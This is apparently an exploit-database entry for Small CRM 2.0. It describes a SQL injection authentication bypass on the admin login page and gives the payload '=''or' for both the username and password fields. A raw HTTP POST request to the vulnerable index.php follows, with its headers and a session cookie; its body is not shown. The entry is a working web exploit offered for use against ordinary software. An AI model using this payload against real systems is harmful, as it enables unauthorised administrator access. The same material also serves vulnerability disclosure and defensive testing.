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Small CRM 2.0 - Authentication Bypass


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# Exploit Title: Small CRM 2.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-01-02
# Exploit Author: FULLSHADE
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/small-crm-php/
# Version: V2.0
# Tested on: Windows
# CVE : N/A

# Description:
# There is a SQL injection vulnerability in the /index.php page
# which allows for an attacker to use the SQLi login bypass payload
# '=''or' for both the username and password parameters, this allows
# for any authenticated or low level user to login to the admin account.

========== 1. Authentication bypass ==========

POST /Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php HTTP/1.1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
DNT: 1
Connection: close
Cookie: PHPSESSID=k5845lo7s90it5p33js75665jq
Upgrade-Insecure-Requests: 1

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